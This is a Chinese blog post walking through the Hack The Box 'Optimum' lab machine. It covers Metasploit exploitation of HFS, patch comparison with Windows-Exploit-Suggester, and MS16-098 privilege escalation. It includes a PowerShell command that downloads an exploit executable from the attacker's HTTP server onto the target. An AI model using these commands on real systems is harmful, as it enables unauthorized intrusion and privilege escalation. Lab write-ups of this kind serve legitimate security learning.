当前位置:网站首页>hack the box optimum靶机
hack the box optimum靶机
2022-04-23 02:26:00 【zr1213159840】
首先打开靶场,直接nmap开扫。
nmap -sV -Pn -A 10.10.10.8
通过扫描结果知道开启了80端口,80端口跑了HFS服务。顺势去msf搜索一下HFS有哪些漏洞
search hfs
使用下面的hfs的命令执行,然后看下要配置哪些东西
use 1
options
需要配置好远程主机,本地主机,配置好,run。多run几次,前面几次容易失败,而且要等挺久的。
set RHOSTS 10.10.10.8
set LHOSTS 10.10.14.17
run
利用成功后,返回meterpreter。然后看下当前文件夹的文件。能看到user的flag
可以直接读取user.txt.txt或者进入shell,读取user.txt.txt
#直接读取
cat user.txt.txt
接着继续找,看能不能进administrator文件夹,发现不能,而且也不能新建用户。
想着直接用msf的提权,但是执行后没有获得权限。那么我们应该怎么提权呢?看下打了哪些补丁。systeminfo还是能执行的。
拿到这个信息后,使用Windows-Exploit-Suggester脚本对比,看下突破点。(这个地方我怎么跑这个脚本都不行,说xlrd报错,这个脚本是用python2写的,大家注意。)
地址为https://git哈布.com/AonCyberLabs/Windows-Exploit-Suggester。使用方法看一下readme就行。记得是python2而且要装xlrd。
将远端的systeminfo信息复制下来,然后使用下面这条命令对比
python2 windows-exploit-suggester.py --database 2021-04-21-mssb.xls --systeminfo sysinfo.txt
对比结果能发现可以使用MS16–098提权。可以通过这个链接获取提权的exe。
https://git哈布.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
下载后,在exe文件夹下启动一个本地的http服务器
python3 -m http.server 888
然后在靶机的shell中执行以下命令
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:888/41020.exe', 'c:\Users\Public\Downloads\41020.exe')"
这个命令的意思是下载10.10.14.17上面的41020.exe,然后放在后面的位置下面。
在对应位置找到,然后执行41020.exe,顺利拿到最高权限
去到users/administrator/desktop下面拿到root.txt,搞定。
后记:发现前面的users.txt不难,但是在后面提权过程中就涉及到了python2环境等问题,很麻烦。特别是Windows-Exploit-Suggester脚本执行的不成功,我那段是直接参考了别人的内容,大家可以自己试试。特别kali似乎不带pip2,可以参考后面的链接。
参考链接
https://ranakhalil101.medium.com/hack-the-box-optimum-writeup-w-o-metasploit-3a912e1c488c
pip2安装的链接可以参考:
https://www.cnblogs.com/lzkalislw/p/15579620.html
版权声明
本文为[zr1213159840]所创,转载请带上原文链接,感谢
https://blog.csdn.net/zr1213159840/article/details/124331737
边栏推荐
- IAR embedded development stm32f103c8t6 Lighting LED
- 007_ Redis_ Jedis connection pool
- 009_Redis_RedisTemplate入门
- IAR嵌入式開發STM32f103c8t6之點亮LED燈
- 数仓建表111111
- Lighting LED of IAR embedded development stm32f103c8t6
- Develop a chrome plug-in from 0 (2)
- How to recognize products from the perspective of Dialectics
- 智能辅助功能丰富,思皓X6安全配置曝光:将于4月23日预售
- Class initialization and instance initialization interview questions
猜你喜欢
LeetCode 447. Number of boomerangs (permutation and combination problem)
The 16th day of sprint to the big factory, noip popularization Group Three Kingdoms game
PTA: Romantic reflection [binary tree reconstruction] [depth first traversal]
How many steps are there from open source enthusiasts to Apache directors?
RT_Thread自问自答
一个国产图像分割项目重磅开源!
Network jitter tool clumsy
用TensorFlow实现线性回归(包括过程中出现的问题及解决方法)
PTA: praise the crazy devil
002_Redis_String类型常见的操作命令
随机推荐
011_RedisTemplate操作Hash
009_Redis_RedisTemplate入门
Web learning record (medium)
The 16th day of sprint to the big factory, noip popularization Group Three Kingdoms game
Global, exclusive, local Routing Guard
Realize linear regression with tensorflow (including problems and solutions in the process)
tp6阿里云短信 window 报 cURL error 60: SSL certificate problem: unable to get local issuer certificate
R language advanced | generalized vector and attribute analysis
简洁开源的一款导航网站源码
Halo open source project learning (I): project launch
Applet canvas canvas half ring
How to call out services in idea and display the startup class in services
C语言中*与&的用法与区别 以及关键字static和volatile 的含义
A simple and open source navigation website source code
Common formatting problems after word writing
校园转转二手市场源码
Leetcode46 Full Permutation
PTA: praise the crazy devil
SQL server2019 cannot download the required files, which may indicate that the version of the installer is no longer supported. What should I do
RT_ Thread ask and answer